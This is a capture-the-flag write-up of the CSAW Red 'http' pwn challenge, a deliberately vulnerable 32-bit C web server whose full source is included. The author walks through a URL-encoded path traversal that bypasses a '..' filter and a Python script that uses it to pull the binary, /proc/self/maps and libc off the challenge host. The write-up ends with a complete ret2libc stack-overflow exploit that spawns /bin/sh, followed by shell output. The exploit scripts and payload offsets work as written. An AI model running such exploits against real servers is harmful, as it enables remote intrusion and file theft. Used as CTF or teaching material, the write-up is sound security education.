[Csaw RED] Pwn - http

14 minute read

Http - Pwn

Hi, I was recently at the CSAW Europe (which is a competition organised by the Esisar in Valence) for the finale of the Red Team Competition which brings French highschool student to compete against each others team. Your team can go up to 3 people but I was on my own.

During the competition I came across a pwn challenge which seemed really interesting to me because I had to exploit a custom web server and it was first time exploiting this kind of software. I ended up spending 3-4 hours on this challenge (half of the ctf) but I didn’t manage to solve it on time. Sadly or as funny as it may seem I solved in 5 minutes on the train on my way home. I am the only one who solved it so I think that it could be interesting to tell you how I did it.

Introduction

First of all we are given two files:

1- http.c
2- Makefile

Starting with the easiest one to understand, the Makefile contains the following lines:

1http: http.c
2    gcc -o http -m32 -Wall -Wextra -no-pie -fno-stack-protector http.c 
3
4install: http
5    cp http /usr/sbin

Via this file we can determine that the remote binary is in /usr/sbin, the only protection in the binary is the Nx Bit and also that the architecture of the file is i386.

The http.c file contains the source code of the web server:

  1#include <stdio.h> 
  2#include <stdlib.h> 
  3#include <unistd.h>
  4#include <errno.h>
  5#include <sys/socket.h>
  6#include <sys/stat.h>
  7#include <signal.h>
  8#include <string.h>
  9#include <strings.h>
 10#include <netinet/ip.h> 
 11#include <arpa/inet.h>
 12#include <ctype.h>
 13#include <fcntl.h>
 14#include <sys/wait.h>
 15
 16#define MAXBUF 4096 
 17#define ROOTDIR "/home/camuser/files" 
 18
 19char *lines[]={
 20	"<html><head><style>",
 21	"html, body {\nwidth: 100%;\nheight: 100%;\nbackground: black;\nmargin: 0;\noverflow: hidden;\ndisplay: flex;\nalign-items: center;\njustify-content: center;\n}\n",
 22	".a-long-time-ago {\n font-size: 32px;\n color: #4bd5ee;\n /* Animation */\n opacity: 0;\n animation-delay: 1s;\n animation-duration: 1s;\n animation-name: a-long-time-ago;\n animation-timing-function: ease-out;\n }\n", 
 23	"@keyframes a-long-time-ago {\n0% {\n opacity: 0;\n }\n20% {\n opacity: 1;\n }\n80% {\n opacity: 1;\n }\n100% {\n opacity: 0;\n }\n}\n", 
 24	" .crawl {\n position: absolute;\n top: 45%;\n left: 50%;\n width: 800px;\n margin: 0 0 0 -400px;\n top: auto;\n bottom: 0;\n height: 50em;\n color: #ffff66;    \n font-size: 64px;\n text-align: justify;\n transform-origin: center bottom;\n transform: perspective(300px) rotateX(25deg);\n }\n", 
 25	" .crawl > div {\n position: absolute;\n top: 100%; \n animation-delay: 2s; /* Démarre l'animation après la première */\n animation-duration: 40s;\n animation-name: crawl;\n animation-timing-function: linear;\n }\n \n", 
 26	"@keyframes crawl {\n 0% {\n top: 100%;\n opacity: 1;\n }\n 80% {\n opacity: 1; /* disparition progressive à la fin */\n }\n \n 100% {\n top: 0;\n opacity: 0;\n }\n }\n" ,
 27	"</style></head>",
 28	"<body><audio autoplay> <source src=\"https://archive.org/download/StarWarsThemeSongByJohnWilliams/Star%20Wars%20Theme%20Song%20By%20John%20Williams.ogg\" type=\"audio/ogg\" /> </audio>",
 29	"<div class=\"a-long-time-ago\"> A long time ago, in a galaxy far,<br> far away..  </div>", 
 30	"<div class=\"crawl\"> <div>", 
 31        "<p>Once upon a time, a lonely hacker sat in front of his computer, scrolling through endless lines of code. He longed for connection and companionship but found solace in the digital realm. Despite his isolation, he continued to push boundaries and innovate, driven by his passion for technology.</p>", 
 32       "<p>Though he often felt misunderstood and dismissed by society, he refused to give up on his vision of a world where technology could bring people together. And in the end, his perseverance paid off as he finally found a community of like-minded individuals who shared his passion and accepted him for who he was.</p>",
 33        "<p>I will reveal it's name: 31ixlr </p>",
 34	"<p> Thanks for : </p>",
 35	"<p> HTTP Server : 31ixlr</p>",
 36	"<p> SIP server : P@d-a-w@N aka /bin/sh" ,
 37	"<p> 10/11/2023." ,
 38	"</p>",
 39	"</div></div>",
 40	"</body></html>"
 41}; 
 42
 43//========== SOCKET RELATED STUFF Thx. chatGPT ======================// 
 44//
 45static int createSocket(int port)
 46{
 47        int fd;
 48        struct sockaddr_in serv_addr;
 49        int enable = 1;
 50
 51        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 52                perror("socket creation failed\n");
 53                return (-2);
 54        }
 55        bzero(&serv_addr, sizeof(serv_addr));
 56
 57        serv_addr.sin_family = AF_INET;
 58        serv_addr.sin_addr.s_addr = INADDR_ANY;
 59        serv_addr.sin_port = htons(port);
 60
 61        if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0) {
 62                perror("setsockopt failed\n");
 63                return (-1);
 64        }
 65
 66        if (bind(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
 67                perror("bind failed\n");
 68                return (-1);
 69        }
 70
 71        if (listen(fd, 10) < 0) {
 72                perror("listen failed\n");
 73                return -1;
 74        }
 75        return fd;
 76}
 77
 78ssize_t readSocket(int fd,char *buf,size_t len)
 79{
 80    ssize_t res;
 81	do {
 82		res=read(0,buf,len);
 83	} while ((res == -1 ) && (errno==EINTR));
 84	return res; 
 85}
 86
 87int writeSocket(int fd,char *buf,size_t len)
 88{
 89	do {
 90        	ssize_t res;
 91                do {
 92			res=write(1,buf,len);
 93                } while ((res == -1 ) && (errno==EINTR));
 94
 95                if (res < 0)  {
 96			close(fd); 
 97			return 0;
 98                } else {
 99			len-=res; 
100		}
101	} while (len!= 0);
102	return 1; 
103}
104
105// is this still needed ? 
106#define MSG(fd,msg) writeSocket((fd),(char *)(msg),strlen((msg))) 
107
108// ============== END SOCKET RELATED STUFFF ==============================// 
109// handle error by code (go to stdout now ) 
110void handleError(int fd,int code) 
111{
112	switch (code) {
113		case 400: printf("HTTP/1.0 400 Bad Request\r\n\r\n"); break; 
114		case 403: printf("HTTP/1.0 403 Forbidden\r\n\r\n"); break; 
115		case 404: printf("HTTP/1.0 404 Not Found\r\n\r\n"); break; 
116		case 500: printf("HTTP/1.0 500 Internal Error\r\n\r\n"); break; 	
117		case 501: printf("HTTP/1.0 501 Not Implemented\r\n\r\n"); break; 	
118		case 505: printf("HTTP/1.0 505 Version Not Supported\r\n\r\n"); break; 	
119	} 
120	close(fd); 
121	exit(-1); 
122}
123////////////////////////////// PERCENT ENCODING STUFF ////////////////////////////////////
124// Some Characters in uri might be percent encoded, so convert them back to a single byte
125//example:  %41 --> 'A' or '%20 --> ' ' 
126int getPercentEncoding(char *p, char *value) 
127{
128	*value=0; 
129	if ((isxdigit(toupper(*p))) && (isxdigit(toupper(*(p+1))))) { 	
130		if ((*p >= '0' ) && (*p <='9')) *value+=*p-'0'; 
131		if ((*p >= 'A' ) && (*p <='F')) *value+=*p-'A'+10; 
132		if ((*p >= 'a' ) && (*p <='f')) *value+=*p-'a'+10;
133		p++; 
134		*value=*value<<4; 
135		if ((*p >= '0' ) && (*p <='9')) *value+=*p-'0'; 
136		if ((*p >= 'A' ) && (*p <='F')) *value+=*p-'A'+10; 
137		if ((*p >= 'a' ) && (*p <='f')) *value+=*p-'a'+10;
138		return 1; 
139	}
140	return 0;
141}
142
143void handlePercentEncoding(char *uri) 
144{
145	char *p_read,*p_write,c; 
146	p_read=p_write=uri;
147	while (*p_read) {
148		if ((*p_read=='%') && getPercentEncoding(p_read+1,&c)) {
149			*p_write=c; 
150			p_write++; 
151			p_read+=3;
152		}
153		else {
154			*p_write=*p_read; 
155			p_write++; 
156			p_read++; 
157		}
158	}
159	*p_write='\0'; 
160}
161////////////////////////////END PERCENT ENCODING STUFF ////////////////////////////////////
162
163// Yahhhooo.... no comment 
164//
165void handleEasterEgg() 
166{
167	// that' is 200 OK 
168	printf("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n"); 
169	for (unsigned long int i=0;i<sizeof(lines)/sizeof(char *);i++) {
170		puts(lines[i]); 
171	}
172}
173// Generate a response for the client request 
174// Get the uri and append it to ROOTDIR to get path, check extension and create response. 
175// Some uri might have space caracters 
176void handleUri(int fd, char *uri) 
177{
178	char *path,*ext; 
179	int fi; 
180	ssize_t res; 
181	int len; 
182	// first check verify there is not ".." !! security first :) 
183	if (strstr((char *)uri,"..") != NULL ) { // directory traversal attempt ?? 
184		handleError(fd,403);
185	}
186	
187	// oups URI can also be percent encoded...
188	handlePercentEncoding(uri); 
189
190	// Now get the resources 
191	if (strcmp(uri,"/")==0) uri="/box.html";
192	len=(strlen((char *)uri)+strlen(ROOTDIR)+1); 
193	path=malloc(len*sizeof(char)); 
194	bzero(path,len*sizeof(char)); 
195	sprintf(path,"%s%s",ROOTDIR,uri); 
196	// not found or forbidden ? 
197	//printf(path);
198	if ((fi=open(path,O_RDONLY))<0) {
199		handleError(fd,404); 
200	} else {
201		struct stat s; 
202		// should prevent toctou ? 
203		if ((fstat(fi,&s)<0) || ((s.st_mode & S_IFMT) != S_IFREG))
204			handleError(fd,500); 
205	}
206
207	// that' is 200 OK 
208	puts("HTTP/1.0 200 OK\r"); 
209	// get the extension type 
210	if ((ext=strrchr(path,'.'))!=NULL) {
211		if ((strcmp(ext,".html")==0) || (strcmp(ext,".htm")==0)) {
212			puts("Content-Type: text/html\r"); 
213		}
214		if ((strcmp(ext,".jpeg")==0) || (strcmp(ext,".jpg")==0)) {
215			puts("Content-Type: image/jpeg\r"); 
216		}
217		if ((strcmp(ext,".css")==0) ) {
218			puts("Content-Type: text/css\r"); 
219		}
220		if ((strcmp(ext,".gif")==0) ) {
221			puts("Content-Type: image/gif\r"); 
222		}
223		if ((strcmp(ext,".png")==0) ) {
224			puts("Content-Type: image/png\r"); 
225		}
226		if ((strcmp(ext,".ogg")==0) ) {
227			puts("Content-Type: audio/ogg\r"); 
228		}
229	}
230	puts("\r"); 
231	do { 
232		char buf[MAXBUF];
233		res=read(fi,buf,MAXBUF);
234		if (res>0) { writeSocket(fd,(char *)buf,res); }
235	} while (res>0); 
236}
237
238// ============== CLIENT REQUEST RELATED STUFFF ==============================// 
239// This function handles data  going through (fd) indeed stdin now 
240// read until we get the header/body separator (\r\n\r\n)  
241int readRequest(int fd,char *buf) 
242{
243	ssize_t len=0,res=0; 
244	do {
245		res=readSocket(fd,buf+len,MAXBUF); 
246		if (res>0) { len+=res; 
247		// oh there was an annoying error which sometimes crash the prog here !!! 
248		// but the following lines solve the problem 
249			     buf[len]=0; 
250		}
251	} while ((res > 0) && (strstr((char *)buf,"\r\n\r\n") == NULL )) ; 
252
253	if (res <=0) {	// error or close  
254		handleError(fd,res); 
255	}
256	return res; 
257}
258
259
260// ============== CLIENT REQUEST RELATED STUFFF ==============================// 
261// This procedure handles a client, get the request, parse it (roughly) and get the uri 
262
263void handleCli(int fd) 
264{
265	char cliBuf[MAXBUF]; 
266
267	bzero(cliBuf,MAXBUF); 
268
269	readRequest(fd,cliBuf) ;
270	// DEBUG // printf("Receive %.*s\n",(int) len,cliBuf); 
271	// focus on the start line since it has the relevant parts // this is not a *real* parser but it does the job. 
272	// We want only a GET 
273	if (strncmp("GET ",(char *)cliBuf,4)!=0) { handleError(fd,501); } else {
274		char *uri=NULL; 
275		ssize_t i=4; 
276		// Let's GET THE URI part (find the ' ' before EOL) 
277		do { 
278				if (cliBuf[i] == ' ') { uri=&cliBuf[4]; cliBuf[i]='\0'; break; } 
279				i++; 
280		} while ((i<MAXBUF) && cliBuf[i]!='\r');
281  
282    		if (uri == NULL) {handleError(fd,400);}
283		if (strncmp((char *) &cliBuf[i+1],"HTTP/1.",7) !=0) { handleError(fd,505); }
284		if (strcmp(uri,"/3ast3rE99")==0) handleEasterEgg(); else 
285		handleUri(fd,uri); 
286	}
287}
288
289//int main(int argc, char *argv[]) 
290int main() 
291{
292	pid_t pid;
293	int nbclient=100; 
294    	struct sockaddr_in cliAddr;
295        socklen_t addrSize=sizeof(struct sockaddr); 
296
297	int doit=1,fd,cliFd; 
298        signal(SIGPIPE, SIG_IGN);
299	
300	fd=createSocket(80); 
301	while (doit) {
302
303		while ((waitpid(-1,NULL,WNOHANG) > 0 ))  {
304			nbclient++; 
305		}	
306
307        	cliFd = accept(fd, (struct sockaddr*)&cliAddr,&addrSize);
308        	if (cliFd < 0) {
309            		exit(1);
310        	}
311        	//printf("Connection accepted from %s:%d\n", inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port));
312			
313		if (nbclient > 0 ) {
314			if ((pid=fork())<0) {
315			perror("fork");
316			} else {
317				if (pid==0) { 
318					// do stuff , some annoying, some not ... 
319					//alarm(120); 
320					setbuf(stdout,NULL); 
321					dup2(cliFd,0); 
322					dup2(cliFd,1); 
323					dup2(cliFd,2); 
324					handleCli(cliFd); 
325
326					close(fd); 
327				} 
328				else { nbclient--; }
329			}
330		}
331		close(cliFd); 
332	}
333}
334

Reverse engineering of the server

Starting with the main function, we can see that when a new request is made, the program forks, redirects the file descriptor of our freshly created socket to 0,1,2 (stdin, stdout, stderr) via dup2 and then calls handleCli with the file descriptor of our request.

 1int main() 
 2{
 3	pid_t pid;
 4	int nbclient=100; 
 5    	struct sockaddr_in cliAddr;
 6        socklen_t addrSize=sizeof(struct sockaddr); 
 7
 8	int doit=1,fd,cliFd; 
 9        signal(SIGPIPE, SIG_IGN);
10	
11	fd=createSocket(80); 
12	while (doit) {
13
14		while ((waitpid(-1,NULL,WNOHANG) > 0 ))  {
15			nbclient++; 
16		}	
17
18        	cliFd = accept(fd, (struct sockaddr*)&cliAddr,&addrSize);
19        	if (cliFd < 0) {
20            		exit(1);
21        	}
22        	//printf("Connection accepted from %s:%d\n", inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port));
23			
24		if (nbclient > 0 ) {
25			if ((pid=fork())<0) {
26			perror("fork");
27			} else {
28				if (pid==0) { 
29					// do stuff , some annoying, some not ... 
30					//alarm(120); 
31					setbuf(stdout,NULL); 
32					dup2(cliFd,0); 
33					dup2(cliFd,1); 
34					dup2(cliFd,2); 
35					handleCli(cliFd); 
36
37					close(fd); 
38				} 
39				else { nbclient--; }
40			}
41		}
42		close(cliFd); 
43	}
44}

The handleCli initalizes the variable cliBuf with a size of 4096 bytes, calls the readRequest and then checks if the HTTP method of the request is GET and if it’s not it returns an error.

After a bit of code analysis I spotted a buffer overflow in the readRequest function, it reads data in cliBuf as long as it doesn’t receive “\r\n\r\n” which marks the end of a http request.

 1int readRequest(int fd,char *buf) 
 2{
 3	ssize_t len=0,res=0; 
 4	do {
 5		res=readSocket(fd,buf+len,MAXBUF); 
 6		if (res>0) { len+=res; 
 7		// oh there was an annoying error which sometimes crash the prog here !!! 
 8		// but the following lines solve the problem 
 9			     buf[len]=0; 
10		}
11	} while ((res > 0) && (strstr((char *)buf,"\r\n\r\n") == NULL )) ; 
12
13	if (res <=0) {	// error or close  
14		handleError(fd,res); 
15	}
16	return res; 
17}

Using this buffer overflow we might be able to control the return address to spawn a shell on the remote server. The problem is that even if we manage to control the return address, we won’t we able to do anything on the remote server since we don’t have the binary used remotely nor do we have the libc and the linker.

Here comes in handy a second vulnerability which is located in the handleUri function.

 1void handleUri(int fd, char *uri) 
 2{
 3	char *path,*ext; 
 4	int fi; 
 5	ssize_t res; 
 6	int len; 
 7	// first check verify there is not ".." !! security first :) 
 8	if (strstr((char *)uri,"..") != NULL ) { // directory traversal attempt ?? 
 9		handleError(fd,403);
10	}
11	
12	// oups URI can also be percent encoded...
13	handlePercentEncoding(uri); 
14
15	// Now get the resources 
16	if (strcmp(uri,"/")==0) uri="/box.html";
17	len=(strlen((char *)uri)+strlen(ROOTDIR)+1); 
18	path=malloc(len*sizeof(char)); 
19	bzero(path,len*sizeof(char)); 
20	sprintf(path,"%s%s",ROOTDIR,uri); 
21	// not found or forbidden ? 
22	printf(path);
23	if ((fi=open(path,O_RDONLY))<0) {
24		handleError(fd,404); 
25	} else {
26		struct stat s; 
27		// should prevent toctou ? 
28		if ((fstat(fi,&s)<0) || ((s.st_mode & S_IFMT) != S_IFREG))
29			handleError(fd,500); 
30	}
31
32	// that' is 200 OK 
33	puts("HTTP/1.0 200 OK\r"); 
34	// get the extension type 
35	if ((ext=strrchr(path,'.'))!=NULL) {
36		if ((strcmp(ext,".html")==0) || (strcmp(ext,".htm")==0)) {
37			puts("Content-Type: text/html\r"); 
38		}
39		if ((strcmp(ext,".jpeg")==0) || (strcmp(ext,".jpg")==0)) {
40			puts("Content-Type: image/jpeg\r"); 
41		}
42		if ((strcmp(ext,".css")==0) ) {
43			puts("Content-Type: text/css\r"); 
44		}
45		if ((strcmp(ext,".gif")==0) ) {
46			puts("Content-Type: image/gif\r"); 
47		}
48		if ((strcmp(ext,".png")==0) ) {
49			puts("Content-Type: image/png\r"); 
50		}
51		if ((strcmp(ext,".ogg")==0) ) {
52			puts("Content-Type: audio/ogg\r"); 
53		}
54	}
55	puts("\r"); 
56	do { 
57		char buf[MAXBUF];
58		res=read(fi,buf,MAXBUF);
59		if (res>0) { writeSocket(fd,(char *)buf,res); }
60	} while (res>0); 
61}

To avoid Path traversal attacks, the function checks if the url does not contain the string “..". If it’s the case, it returns an error message but else it reads the file that was requested by the user just after url-decoding it. Ok cool it means that we can bypass the check by url-encoding our payload to then read file outstide of the folder /home/camuser/files.

First we are going to retrieve the http binary (who is in /usr/sbin/ as we saw earlier) on the remote server. To make things easier for me I made a small python script to do it automatically:

 1from pwn import *
 2import sys
 3
 4host = 'box.csaw.red'
 5port = 1337
 6
 7def url_encode(file):
 8    payload = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F"
 9    for (idx, x) in enumerate(file):
10        if idx == 0 and x == "/":
11            continue
12        payload += "%" + hex(ord(x)).lstrip("0x")
13    return payload.encode()
14
15p = remote(host, port)
16payload = b"GET /%b HTTP/1.1\r\n" % (url_encode(sys.argv[1]))
17payload += b"Host: %b:%i\r\n" % (host.encode(),port)
18payload += b"\r\n"
19
20
21p.send(payload)
22p.recvuntil(b"\r\n\r\n")
23
24file_content = p.recvall()
25file_name = sys.argv[1].split("/")[-1]
26with open(file_name, "wb") as file:
27    file.write(file_content)
28    file.close()
29    
30print("Wrote file: %s" % file_name)
31
32p.close()
33

So as I said we are first going to retrieve http:

1/home/numb3rs/csaw » python ./path_traversal.py "/usr/sbin/http" SILENT    
2Wrote file: http

Then we are going to retrieve the /proc/self/maps containing the base address of the libc and its location. Moreover since the program forks for every request we make, its address won’t change between two request and we won’t have to leak anything.

1/home/numb3rs/csaw » python ./path_traversal.py "/proc/self/maps" SILENT    
2Wrote file: maps

With this file I was able to determine that the libc’s location was /lib/i386-linux-gnu/libc.so.6 and the linker’s one was /lib/ld-linux.so.2.

By retrieving both of them we now have every elements to start investigating the buffer overflow we found just before.

(just for your information I linked the binary to the libc and the linker using pwninit with this command: pwninit --bin http --libc libc.so.6 --ld ld-linux.so.2 )

To make sure that there were actually no other protections that the NX Bit I ran a quick checksec on it and it was how it was supposed to be.

1/home/numb3rs/csaw » checksec http                                           
2[*] '/home/numb3rs/csaw/http'
3    Arch:     i386-32-little
4    RELRO:    Partial RELRO
5    Stack:    No canary found
6    NX:       NX enabled
7    PIE:      No PIE (0x8048000)
8---------------------------------------------------------

I didn’t tell you earlier but to trigger the buffer overflow we have to set visit the endpoint /3ast3rE99. To do the tests I used Burpsuite, it may sound weird but it was easier in fact. I put a header named “A” followed by a string that allowed me to find the offset of the return address.

image

The offset to control the return address is 4104. The only thing left to do is to spawn a shell. To do so I used puts to leak the address of puts in the libc (I could have just used the addresses in /proc/self/maps), I then used the leak to determine the addresses of system and /bin/sh in the LIBC, allowing us to call system("/bin/sh”).

Here is my final exploit:

 1from pwn import *
 2
 3elf  = ELF('./http', checksec=False)
 4libc = ELF('./libc.so.6', checksec=False)
 5
 6url  = "box.csaw.red"
 7port =  1337
 8
 9
10p = remote(url, port)
11
12request = b"GET /3ast3rE99 HTTP/1.1\r\n"
13request += b"A: " + b"A"*4104 + p32(elf.plt.puts) + p32(0x41414141) + p32(elf.got.puts) + b"\r\n"
14request += b"\r\n"
15
16p.send(request)
17
18p.recvuntil(b"</html>\n")
19leak_libc = u32(p.recv(4))
20
21libc.address = leak_libc - libc.sym.puts
22
23
24info("LIBC @%s" % hex(libc.address))
25
26p = remote(url, port)
27
28request = b"GET /3ast3rE99 HTTP/1.1\r\n"
29request += b"A: " + b"A"*4104 + p32(libc.sym.system) + p32(0x41414141) + p32(next(libc.search(b"/bin/sh\x00"))) + b"\r\n"
30request += b"\r\n"
31
32p.send(request)
33
34p.interactive()

By executing it we are able to have our shell:

1/home/numb3rs/csaw » python exploit.py
2[+] Opening connection to box.csaw.red on port 1337: Done
3LIBC @0xf7d0c000
4[+] Opening connection to box.csaw.red on port 1337: Done
5[*] Switching to interactive mode
6$ echo pwned
7pwned
8$ id
9uid=1001(red) gid=1001(red) groups=1001(red)

Seeing how short my final exploit is, you may wonder how I ended up spending 4 hours on this but I had a lot of problems (lol). I started up by sending my payload via the curl command which seemed to work at first in local but I wasn’t able to have my exploit working in remote and it was because some header were changing between when I was sending it to my local server and to the remote server which messed up the offsets.

Anyway, it was very fun to do, thanks a lot to Kr[HACK]en and more precisely to Quentin Giorgi for this challenge.

Thanks for reading my writeup and I hope it was worth it :). Feel free to contact me on discord @numb3rss or on twitter @numbrs

numb3rs - 4577